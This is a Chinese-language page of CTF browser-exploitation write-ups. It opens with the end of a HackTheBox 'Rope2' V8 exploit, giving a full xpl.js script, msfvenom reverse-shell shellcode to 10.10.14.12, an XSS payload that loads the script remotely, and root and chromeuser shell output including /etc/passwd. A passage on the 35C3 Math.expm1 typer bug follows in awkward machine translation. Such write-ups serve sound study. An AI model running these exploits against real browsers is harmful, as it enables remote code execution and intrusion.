    0x0f, 0x05, 0x75, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 
    0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
];  // shellcode for spawning a reverse shell for local test

for (let i = 0; i < shellcode.length; i++) {
  dataview.setUint8(i, shellcode[i], true);
}
```

现在，只需要调用函数pwn就可以执行shellcode了:

``` bash
pwn();
```

以./d8 ./xpl.js的命令运行该漏洞js脚本，将能成功收到一个reverse shell:

``` bash
root@luci:~/v8build/v8/out.gn/x64.release# ./d8 /root/v8build/rope2/xpl.js 
[*] Float array map   :  0x8241909
[*] Regular array map :  0x8241869
[+] Controlled RW helper address: 0x808733d
[+] Wasm instance address: 0x8211631
[*] RWX INSTANCE:   0x13211e50c000
[+] ArrayBuffer address: 0x8087a85
[+] Back store pointer: 0x55b70a9d4730
[+] Spawning a shell...
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb167.jpg)

``` bash
┌──(root💀kali)-[~/test]
└─# nc -lvp 4222
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4222
Ncat: Listening on 0.0.0.0:4222
Ncat: Connection from 192.168.177.151.
Ncat: Connection from 192.168.177.151:47072.
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
uname -a
Linux luci 4.15.0-132-generic #136~16.04.1-Ubuntu SMP Tue Jan 12 18:22:20 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb168.jpg)


在d8上有效,必须试试之前从端口8000下载的chrome二进制文件,运行攻击测试,制作一个HTML文件包含xpl.js文件,这里的想法是使用--no-sandbox最终意味着没有沙箱逃逸是和系统上执行的所有JIT代码HTML文件本身:

``` bash
<html>
    <head>
       <script src="xpl.js"></script>
    </head>
</html>
```

运行给定的chrome二进制文件:./chrome/chrome --no-sandbox ./xpl.html会反弹一个reverse shell:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb169.jpg)

``` bash
┌──(root💀kali)-[~/test]
└─# nc -lvp 4222
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4222
Ncat: Listening on 0.0.0.0:4222
Ncat: Connection from 192.168.177.151.
Ncat: Connection from 192.168.177.151:54750.
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
uname -a
Linux luci 4.15.0-132-generic #136~16.04.1-Ubuntu SMP Tue Jan 12 18:22:20 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
```

漏洞利用成功

现在，先把这个放在一边，首先重新更改ip地址然后生成shellcode，使用这个漏洞来获得reverse shell，最终的漏洞利用js脚本看起来像这样:


``` bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4222 -f num

0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05, 0x48, 0x97, 0x48, 
0xb9, 0x02, 0x00, 0x10, 0x7e, 0x0a, 0x0a, 0x0e, 0x0c, 0x51, 0x48, 0x89, 0xe6, 0x6a, 0x10, 
0x5a, 0x6a, 0x2a, 0x58, 0x0f, 0x05, 0x6a, 0x03, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 
0x0f, 0x05, 0x75, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 
0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
```

 - xpl.js

``` bash
var float_arr = [1.1, 2.2, 3.3, 4.4, 5.5];
var obj = {"A":1.1};
var reg = [1, 2, 3, 4];


var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val, size) {

    f64_buf[0] = val;

    if(size == 32) {
        return BigInt(u64_buf[0]);
    } else if(size == 64) {
        return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
    }

}

function itof(val, size) {

    if(size == 32) {
        u64_buf[0] = Number(val & 0xffffffffn);
    } else if(size == 64) {
        u64_buf[0] = Number(val & 0xffffffffn);
        u64_buf[1] = Number(val >> 32n);
    }

    return f64_buf[0];

}


var float_arr_map = ftoi(float_arr.GetLastElement(), 32)
var reg_arr_map = float_arr_map - 0xa0n;

console.log("[*] Float array map   :  0x" + float_arr_map.toString(16));
console.log("[*] Regular array map :  0x" + reg_arr_map.toString(16));


function addrof(in_obj) {
	float_arr.SetLastElement(itof(reg_arr_map, 32));
	float_arr[0] = in_obj;
	float_arr.SetLastElement(itof(float_arr_map, 32));
	let addr = float_arr[0];
	return ftoi(addr, 64)
}


function fakeobj(addr) {
	float_arr[0] = itof(addr, 32);
	float_arr.SetLastElement(itof(reg_arr_map, 32));
	let fake = float_arr[0];
	float_arr.SetLastElement(itof(float_arr_map, 32));
	return fake;
}

var rw_helper = [itof(float_arr_map, 64), 1.1, 2.2, 3.3];
var rw_helper_addr = addrof(rw_helper) & 0xffffffffn;

console.log("[+] Controlled RW helper address: 0x" + rw_helper_addr.toString(16));

function arb_read(addr) {
    let fake = fakeobj(rw_helper_addr - 0x20n);
    rw_helper[1] = itof((0x8n << 32n) + addr - 0x8n, 64);
    return ftoi(fake[0], 64);
}

function arb_write(addr, value) {
    let fake = fakeobj(rw_helper_addr - 0x20n);
    rw_helper[1] = itof((0x8n << 32n) + addr - 0x8n, 64);
    fake[0] = itof(value, 64);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,
                               130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,
                               128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,
                               128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,
                               0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);
var wasm_module = new WebAssembly.Module(wasmCode);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

var wasm_instance_addr = addrof(wasm_instance) & 0xffffffffn;
var rwx = arb_read(wasm_instance_addr + 0x68n & 0xffffffffn);

console.log("[+] Wasm instance address: 0x" + wasm_instance_addr.toString(16));

console.log("[*] RWX INSTANCE:   0x" + rwx.toString(16));


var arr_buf = new ArrayBuffer(0x100);
var dataview = new DataView(arr_buf);

var arr_buf_addr = addrof(arr_buf) & 0xffffffffn;;
var back_store_addr = arb_read(arr_buf_addr + 0x14n);

console.log("[+] ArrayBuffer address: 0x" + arr_buf_addr.toString(16));
console.log("[+] Back store pointer: 0x" + back_store_addr.toString(16));

arb_write(arr_buf_addr + 0x14n, rwx);

var shellcode = [
    0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05, 0x48, 0x97, 0x48, 
    0xb9, 0x02, 0x00, 0x10, 0x7e, 0x0a, 0x0a, 0x0e, 0x0c, 0x51, 0x48, 0x89, 0xe6, 0x6a, 0x10, 
    0x5a, 0x6a, 0x2a, 0x58, 0x0f, 0x05, 0x6a, 0x03, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 
    0x0f, 0x05, 0x75, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 
    0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
];  // shellcode for spawning a reverse shell

for (let i = 0; i < shellcode.length; i++) {
  dataview.setUint8(i, shellcode[i], true);
}

console.log("[+] Spawning a shell...");
pwn();
```

现在，问题是，应该把这个漏洞利用在哪里，在任何端口上都没有运行chrome实例，但随后,端口8000,在这一点上,评论模板可能XSS漏洞,这是唯一的方法,似乎可行,所以exploit

``` bash
<script src="http://10.10.14.12/xpl.js"></script>
```

插入到消息框中,netcat监听器等待连接,得到了chromeuser的shell

``` bash
root@luci:~/v8build/rope2# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.196 - - [24/Jan/2021 00:50:08] "GET /xpl.js HTTP/1.1" 200 -
10.10.10.196 - - [24/Jan/2021 00:50:31] "GET /xpl.js HTTP/1.1" 200 
```

``` bash
root@luci:/home/user# nc -lvp 4222
Listening on [0.0.0.0] (family 0, port 4222)
Connection from [10.10.10.196] port 4222 [tcp/*] accepted (family 2, sport 59342)
id
uid=1001(chromeuser) gid=1001(chromeuser) groups=1001(chromeuser)
whoami
chromeuser
pwd
/home/chromeuser/web
ls
chrome.tar.gz
main.py
output
templates
uname -a
Linux rope2 5.0.0-38-generic #41-Ubuntu SMP Tue Dec 3 00:27:35 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:109::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
landscape:x:107:114::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:108:1::/var/cache/pollinate:/bin/false
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/sbin/nologin
r4j:x:1000:1000:r4j:/home/r4j:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
chromeuser:x:1001:1001:,,,:/home/chromeuser:/bin/bash
ftp:x:110:116:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
gitlab-www:x:997:997::/var/opt/gitlab/nginx:/bin/false
git:x:996:996::/var/opt/gitlab:/bin/sh
gitlab-redis:x:995:995::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:994:994::/var/opt/gitlab/postgresql:/bin/sh
gitlab-prometheus:x:993:993::/var/opt/gitlab/prometheus:/bin/sh
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb170.jpg)

we finally success! amazing!
<!-- kb:end chrome-browserv8-pwn -->

</details>

<a id="case-exploiting-the-math-expm1-typing-bug-in-v8"></a>

## 负零类型推断与越界原语

35C3 题目围绕 Math.expm1 的类型信息与优化阶段展开，保留从错误边界推断到数组长度破坏、ArrayBuffer 任意读写的推导。

<p class="kb-provenance">来源 Exploiting-the-Math-expm1-typing-bug-in-V8 · 原记录 2021-02-15 · 31 个代码块 · 7 处图片引用</p>

<details class="kb-evidence" id="record-exploiting-the-math-expm1-typing-bug-in-v8">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Exploiting-the-Math-expm1-typing-bug-in-V8 -->

``` bash
Minus zero behaves like zero, right?
```

喜欢浏览器漏洞利用。是破坏了我认为是每天运行的最复杂的软件之一. 在[35C3 CTF](https://ctftime.org/event/718) 今年(和KJC + mhackeroni一起比赛，获得了第一名!) 这有一个Chrome挑战关于利用一个v8[漏洞](https://bugs.chromium.org/p/project-zero/issues/detail?id=1710), Chrome的 JavaScript引擎. 这个错误在静态分析期间导致了不正确的输入, 在即时编译的代码中产生不正确的优化. 这真的很难触发: 没能在CTF中及时完成, 但我觉得很多人会对一篇完整的WRITEUP感兴趣. [@_tsuro](https://twitter.com/_tsuro)感谢你一开始就找到了漏洞，也感谢你所面临的巨大挑战, 还有ESPR的精彩CTF!



``` bash
Krautflare的员工是无服务器计算领域的最新突破。由于非常重视安全性，甚至将客户的工作负载相互隔离!

在演示中, 添加了一个古老的v8漏洞，以表明它是不可利用的! 移步https://bugs.chromium.org/p/project-zero/issues/detail?id=1710 查看细节. 幸运的是，这是v8的最后一个漏洞，从现在起产品将是安全的.

文件在: https://35c3ctf.ccc.ac/uploads/krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar

挑战在: nc 35.246.172.142 1

注释: 这个挑战很难! 它是为有的人在pwnable上要求的, 在这个推文中: https://twitter.com/_tsuro/status/1057676059586560000. 尽管上面链接的错误给了一个如何利用它的粗略的演练，只需要找出细节。希望你在编译器讲座上注意了:)。祝好运，已经警告过你了!
```

#### The bug

浏览一下bug报告，它给出了一个粗略的演练，并尝试解析它。

``` bash
该类型设置Math.expm1为Union(PlainNumber, NaN)。这缺少了-0 的情况: Math.expm1(-0) 返回 -0。
```

现代的JS引擎，如V8，对JS代码执行即时(JIT)编译，也就是说，它们将JavaScript转换为本机代码，以便更快地执行。在点火解释器执行一个函数多次后，该代码被标记为热路径，并由Turbofan JIT编译器编译。显然，我们希望尽可能地优化代码。因此，V8的优化管道大量使用了静态分析。感兴趣的最重要的属性之一是类型: 由于JavaScript是一种非常动态的语言，知道在运行时可以看到什么类型对于优化是至关重要的。

分析管道的一个组件是类型。它的作用是处理代码的中间表示中的节点，并根据可能的输入类型计算可能的输出类型。例如，一个常见的类型是range: 如果一个节点输出range(1,3)，这意味着它可以有1、2或3的值。

在本例中，输入器表示Math.expm1的类型函数总是Union(PlainNumber, NaN) (see buggy [typer.cc](https://cs.chromium.org/chromium/src/v8/src/compiler/typer.cc?rcl=9680338c622d4693f984b49fb24d101acd2d8112&l=1437)和[operation-typer.cc](https://cs.chromium.org/chromium/src/v8/src/compiler/operation-typer.cc?rcl=9680338c622d4693f984b49fb24d101acd2d8112&l=420)). 这意味着输出要么是一个纯数字，要么是一个浮点NaN。plain - number类型表示除-0之外的任何浮点数。是的，浮点数有一个 - 0。然而，在运行时，Math.expm(-0)恰好是-0。因此，typer对类型做出了错误的假设。这种类型将传播到其他操作: 也许可以从中得到一个与安全相关的错误优化。

``` bash
发现可以区分0和-0的有趣案例是除法，atan2和Object.is。在前两种情况中，输入代码不处理负0，因此只剩下Object.is。
```

下一个自然的问题是: -0在哪里会产生影响? 基本上，唯一有趣的情况是Object.is(Math.expm1(-0)， -0)。如果检查一下数学的结果。expm1是-0，输入者认为答案总是假的，但它在运行时可能为真或假。

``` bash
事实上，这个typer运行了3次:

1. 在typer阶段
2. 在TypeNarrowingReducer(负载消除阶段)
3. 在简化的降低阶段

在前两次输入运行之后，ConstantFoldingReducer将运行，所以如果让输入者标记对象。is result始终为false此时，它将被替换为一个假常数。这就剩下第三轮typing了。
```

好吧，这里有一堆V8内部组件: 稍后再看。主要的一点是，该类型在管道中有多次运行，其间穿插着各种优化过程。如果typer过早发现在比较数学。expm1到-0，它只是将比较折叠成一个假常数(这并不完全发生在ConstantFoldingReducer中，稍后会更好地看到它)。这对我们来说是没有用的: 从功能的角度来看，代码是不正确的，但没有安全问题。另一方面，不想让输入器太晚发现-0比较，否则就不会得到正在寻找的错误优化。在我看来，这是整个行动的关键所在。

``` bash
对象。此时，is调用可以用两种形式表示。作为ObjectIsMinusZero节点，如果先前的pass知道比较-0或作为SameValue节点。ObjectIsMinusZero的情况似乎并不有趣，因为类型信息没有在UpdateFeedbackType函数中传播。相同值的反馈类型会被传播，并且会被用于范围计算(现在有bug)。
```

对象。is调用以中间表示的SameValue节点开始。在被称为TypedOptimization的传递中，SameValue节点可以被简化为更特殊的节点(请参阅中ReduceSameValue) [typed-optimization.cc](https://cs.chromium.org/chromium/src/v8/src/compiler/typed-optimization.cc?rcl=dde25872f58951bb0148cf43d6a504ab2f280485&l=504)). 在我们的例子中，因为我们在比较一些东西(数学。expm1 result)使用-0时，TypedOptimization将用专门的ObjectIsMinusZero替换相同的值。展望未来，我们要做破坏的输入通道被简化了 ([simplified-lowering.cc](https://cs.chromium.org/chromium/src/v8/src/compiler/simplified-lowering.cc?rcl=dde25872f58951bb0148cf43d6a504ab2f280485&l=3079)). 这是管道中的第三种(也是最后一种)类型，它传播相同值节点的类型信息，但不传播专门的ObjectIsMinusZero节点的类型信息。需要类型传播来导致不正确的优化，因此希望避免转换为ObjectIsMinusZero: 像上面一样，不希望优化器过早地发现我们正在与-0进行比较。

``` bash
然而，还有一个障碍你需要克服。使用朴素的方法，图中将有一个FloatExpm1节点。该节点输出一个浮点数，而相同值的节点需要一个指针作为输入，因此编译器将插入一个ChangeFloat64ToTagged节点进行转换。因为类型信息说输入永远不可能是-0，所以它不包括特殊的-0处理，我们的-0将被截断为常规的0。
```

Math.expm1操作将降低到FloatExpm1节点，该节点接受一个浮点数作为输入，并输出一个浮点数，该浮点数将成为SameValue的输入。然而，有两种可能的方法来表示浮点数: 作为“原始”浮点数，或作为标记的值(可以表示浮点数或对象)。FloatExpm1输出一个原始浮点数，但是SameValue接受一个带标记的值(因为它可以接受所有类型的对象)。因此，编译器插入一个ChangeFloat64ToTagged节点，以将原始浮点数转换为带标记的值。因为编译器认为ChangeFloat64ToTagged的输入永远不会是-0，所以它不会生成处理-0的代码。在运行时，来自Math的-0。expm1将被截断为0，破坏我们的努力。听起来像是个大问题...

``` bash
但是，也可以将其改为Call节点，它将返回一个带标记的值，并且不会发生转换。
```

FloatExpm1只接受浮点数，但如果你尝试计算Math.expm1("0")(传递一个字符串)，你会得到NaN，而不是某种错误。所以必须有一种方法让它接受非数参数。答案是V8包含了一个内置的Math.expm1实现，能够处理所有输入类型。如果可以强制Turbofan调用内置函数而不是使用FloatExpm1，会得到一个调用节点。不同的是，调用已经返回了一个标记的值，所以不需要ChangeFloat64ToTagged，并且-0不会被截断为0。

``` bash
然后，可以在javascript数组中使用通常的检查边界消除和OOB RW结果。
```

这是正在寻找的错误优化。JavaScript数组访问由CheckBounds节点保护，该节点确保索引在数组边界内。如果优化器可以静态地确定索引始终处于范围内，那么它可以消除CheckBounds节点。将索引与对象的结果相联系的图像。is: 由于输入信息是关闭的，可以让分析器认为索引总是在范围内，而它在运行时可能是在范围外。优化器将错误地消除CheckBounds，使能够对JS数组进行OOB访问，可以使用它来构建更强大的开发原语。

#### 重述bug

这是bug报告中的PoC:

``` bash
function foo() {
    return Object.is(Math.expm1(-0), -0);
}

console.log(foo());
%OptimizeFunctionOnNextCall(foo);
console.log(foo());
```

这必须与d8 --allow-native-syntax 一起运行。第一次打印将输出true: 代码被解释并执行正确的操作。然后，优化foo并将输出更改为false: 优化器使用了错误的输入信息和折叠对象。是进了一个不变的假。

问题是，当在挑战的d8中尝试这个PoC时，它不起作用: 第二个打印仍然是正确的。可以使用turbolizer(v8/tools/turbolizer)来可视化Turbofan在每个优化阶段的IR，并找出发生了什么。通过传递-trace-turbo到d8，它将产生跟踪文件，可以导入Turbolizer。选择'simplified lowering'阶段(这是感兴趣的最后一个阶段)，单击T来显示类型，然后单击四个展开箭头来显示所有节点，然后单击圆形箭头来布局它们。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/math-expm1-v8.png)

从图的这一部分中, 看到了所期望的: 一个FloatExpm1节点，它进入numberisminus 0，然后返回(转换为tagged后)。FloatExpm1的类型为Number，其中包括-0。不应该是PlainNumber或者NaN吗? 发生什么事情了? 原因可以在revert-bugfix-880207.patch文件中找到。重新引入错误。只打补丁typer.cc,不是operation-typer.cc: 因此，这个bug只在调用内置函数时出现，而不是在FloatExpm1上。反正也得生成call，现在就开始吧。

FloatExpm1是一个针对数字输入的优化节点: 编译器推测输入将是一个数字。如果它在运行时确实是一个数字，很好，它将继续执行优化的代码。如果它不是一个数字，优化后的函数将退出解释器: 这个过程称为反优化。解释器将使用内置，它可以接受所有类型。下一次编译函数时，Turbofan会得到反馈信息，通知它输入并不总是一个数字，并且会产生一个对内置函数的调用，而不是FloatExpm1。

我们来做一下。将使用循环来触发编译，而不是本地语法，因为在实际运行漏洞时不会使用它。

``` bash
function foo(x) {
    return Object.is(Math.expm1(x), -0);
}

foo(0);
for(let i = 0; i < 100000; i++)
    foo("0");
console.log(foo(-0));
```

这将打印为false。在运行它时，您将注意到函数现在编译了两次。可以添加--trace-deopt标志来通知取消优化。首先，foo将被解释。一段时间后，假设x是一个数字，就会对它进行编译和乐观优化。第一次调用编译后的函数(x作为字符串)时，得到了反优化:

``` bash
[...]
;;; 反优化在 <poc2.js:2:27>, 不是数字，也不是Oddball
[...]
从反优化更新反馈在 <poc2.js:2:27>, 不是数字，也不是Oddball
```

它在更新类型反馈，告诉Turbofan不要把x当成一个数字。第二次编译函数时，Turbofan会生成一个对内置函数的调用。会看到现在有两个Turbolizer痕迹。最近显示的是一个类型为PlainNumber或NaN的呼叫节点，正如所期望的那样。

一开始你可能会问foo(0)的目的是什么。老实说，还没有完全搞清楚: 有人可能认为它需要提供数字反馈，但可以在console.log之后移动它，它仍然可以工作(Turbofan在这种情况下默认是乐观的)。然而，如果删除它，它将不再工作。相信这和主体中foo的一些内联有关，但是肯定想知道更多关于这方面的信息。有什么主意就告诉给我!

复制这个错误。下一步: 在JS数组上获得OOB。

#### 触发OOB访问

如前所述，其思想是使数组的索引依赖于对象的结果。这样分析器就会假定索引总是在范围内。例如，考虑foo:

``` bash
function foo(x) {
    let a = [0.1, 0.2, 0.3, 0.4];
    let b = Object.is(Math.expm1(x), -0);
    return a[b * 1337];
}
```

正在尝试读取OOB，因为很容易看到它。通过使用赋值，它可以轻松地成为一个写入OOB。如果b为false，则访问索引0: 因为a的长度是已知的，所以优化器可以确定这是静态的。如果b为真，访问索引1337，这是越界的。优化器认为b只能是假的，所以它将消除边界检查。我不会在这个例子上浪费时间: 很明显，b将被折叠为一个常量false(就像在PoC中一样)，所以总是访问索引0。

可以通过将-0作为参数来添加间接变量:

``` bash
function foo(x, y) {
    let a = [0.1, 0.2, 0.3, 0.4];
    let b = Object.is(Math.expm1(x), y);
    return a[b * 1337];
}
// 更新 foo(...) 到 foo(..., -0)
```

这次得到了undefined:

``` bash
;;; 反优化在 <poc3.js:4:13>, 界外
```

不是折叠了，但也不会去掉边界检查。检查一下Turbolizer(简化降低).

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/math-expm1-v81.png)

保留了一个SameValue节点，但它的类型是布尔型而不是单例false型。这意味着分析者认为它可能是真的也可能是假的。这会传播，为索引提供一个范围(0,1337)，这显然不允许边界检查消除。往回看，发现y作为[2]节点的形参，具有NotInternal类型。这意味着分析器不知道y的类型，确切地说，它不知道它总是-0。

在这一点上，决定有条不紊。学习一下Turbofan管道(见pipeline.cc)并发现:

 - 最后阶段Object.is为false可能发生: 在此之前，不想让分析器知道正在与-0进行比较。

 - 类型发生的最后一个阶段: 希望分析器知道在此之前与-0进行比较，以便信息传播。

最后一轮输入是在简化的降低阶段。这是到那时为止的Turbofan优化管道:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/math-expm1-v82.png)

每个阶段都有很多传递，在右边报告了一些相关的，标记了输入传递发生的地方。

看看折叠是如何发生的。ConstantFoldingReducer将传播-0常量(例如，如果使用的变量的常量值为-0)。正如之前观察到的，TypedOptimization将把与常量-0比较的相同值节点减少为ObjectIsMinusZero节点。稍后在管道中，simpledlowering传递可以在ObjectIsMinusZero节点上执行进一步的缩减 ([simplified-lowering.cc](https://cs.chromium.org/chromium/src/v8/src/compiler/simplified-lowering.cc?rcl=dde25872f58951bb0148cf43d6a504ab2f280485&l=3079)). 由于math.expm1静态类型不包括-0, simplefedlowering会将ObjectIsMinusZero节点折叠成一个假常量。因此，在输入UpdateFeedbackType时，它将从SameValue节点传播类型信息，但不会进一步减少它们。保持相同的值意味着，直到最后一次类型优化之后，分析器才会知道正在与-0进行比较。

这留下了两个选择。要么在转义分析期间获得信息，要么在类型运行之前进行简化的降低过程中获得信息。简化的降低还为值选择机器表示，并在输入之前反向传播表示反馈。这就是在行动中搞砸的地方。虽然很熟悉V8的代码库，但要弄清楚这篇文章中列出的所有内部结构很累。在查看管道时，大脑跳过了escape分析(可能是因为它被包裹在一个条件中)，认为必须使用简化的降低。剧透警告: 你不会有任何进展的。教训: 通过橡皮鸭重新运行你的系统方法。

快速复习一下逃逸分析。这段代码:

``` bash
function f() {
    let o = {a: 5};
    return o.a;
}
```

显然，它可以重写为:

``` bash
function f() {
    let o_a = 5;
    return o_a;
}
```

虽然o必须是一个具体的堆分配，但o_a可以被非物化，并在堆栈或寄存器变量中转换(更有效)，或常量折叠到return语句中。

现在在中间添加一个对函数g的调用:

``` bash
function f() {
    let o = {a: 5};
    g(o);
    return o.a;
}
```

优化不再有效，因为g可以在全局变量中保存对o的引用。因此，不能在堆栈分配中转换o，因为全局引用的寿命会比堆栈变量长，而堆栈变量只有在f的作用域是活的时才有效。o已经逃离了f的范围: 逃离分析的目标是识别哪些对象逃脱了，这样非逃脱的对象就可以被去物化。

这意味着，在escape分析运行之前，分析器将o.a视为通过对象引用访问一个字段:它不知道它的类型，因为它不能对o做出假设。这对我们来说是完美的。代码比语言更响亮:

``` bash
function foo(x) {
    let a = [0.1, 0.2, 0.3, 0.4];
    let o = {mz: -0};
    let b = Object.is(Math.expm1(x), o.mz);
    return a[b * 1337];
}
```

现在是Object.is的第二个参数是o中的字段mz。在转义分析之前，分析器不知道它是一个常量-0，所以TypedOptimization将保持一个相同的值节点。escape分析发现，o不会逃脱，并将它去物化并传播常数，所以在简化降低之前，得到一个相同的值，其常数为-0。然后，最后一次输入运行将确定SameValue始终为false，并传播此信息，从而消除边界检查。实际上，如果运行这段代码，它将返回“奇怪的”值，因为它从堆中读取超过数组边界的内存(尝试使用索引)。

太好了，有机会了! 不过，这仅仅是一个开始: 需要在此基础上构建几个原语。

#### JavaScript 利用原语

JavaScript的利用遵循某些常见的模式。在这个漏洞的基础上，漏洞作者构建了更抽象的原语，这在损坏的内存中提供了更多的自由。

两个常见的原语是addrof和fakeobj。addrof原语接受一个对象，并给我们该对象的内存地址。这是必需的，因为现代系统采用了ASLR(地址空间布局随机化)，因此内存区域(代码、堆、库、堆栈……)的位置是随机的，攻击者是不知道的。此外，JS引擎的堆非常拥挤，因此预测对象的地址是脆弱的。fakeobj原语获取一个内存地址，并返回由该内存支持的对象引用。通过获取由攻击者控制的缓冲区支持的引用，它可以用来制作假JavaScript对象。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/math-expm1-v83.png)

当bug是OOB时，通常的设置是有一个double数组A，可以在其上执行OOB访问，并在内存中放置一个具有内联属性(或对象数组)B的对象A之后。假设攻击者知道两者之间的偏移量(可以在运行时找到)，因此A上的OOB可以用来访问B的内存。诀窍在于，通过内存的访问是双精度访问(假设元素是不打包的快速双精度访问)，而B包含指向对象的指针。为了实现addrof，将对象赋值给B的属性: 这将把对象的地址存储在B的内存单元中。然后，使用A上的OOB将该内存单元读为double，并将其解码为整数(它们的内存表示不同)。fakeobj原语是对称的。将对象的地址编码为double，然后使用a上的OOB将其存储到B的内存中: 现在B的属性包含了对假对象的引用，可以返回它。

最强大的原语是任意读/写，它允许在任何内存地址读或写数据。它通常是通过 [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer). 在内部，后备缓冲区是行外存储的，ArrayBuffer对象包括一个指向它的指针和它的大小。因此，攻击者控制的ArrayBuffer可以指向内存中的任何地方。这对于普通数组也是可能的，但是ArrayBuffer还有另一个优点: 它可以覆盖[typed arrays](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray) 和 [DataView](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView) 可以很容易地操作原始内存。ArrayBuffer可以通过两种方式构建: 使用一些其他的原语(例如，稳定OOB)来破坏现有ArrayBuffer的指针和大小，或者通过fakeobj原语来构建一个伪ArrayBuffer。

回到bug。理想情况下，为了正确地封装OOB，需要一个接受数组、索引并执行OOB(读或写)的函数。取任何索引都很简单，只需要让输入者相信你在用一个数字乘以b(例如，按位和用数字)。MAX_SAFE_INTEGER乘法之前)。然而，发现扩展到任何数组都是非常脆弱的。如果有一种方法可以让它工作，不会感到惊讶，但发现很难保持输入信息的完整性，并让优化器消除边界检查，这也是因为在优化流程中已经很晚了。相反，决定接受这个OOB转瞬即逝的特性，并且只使用它一次来构建一个更可靠和可重复的OOB。

想法是这样梳理堆将在应用错误的数组后分配三个对象(将其称为origin数组):

 - 一个快速双精度数组，称之为OOB数组;
 - 具有内联属性的对象，受害者对象;
 - ArrayBuffer，受害者缓冲区.

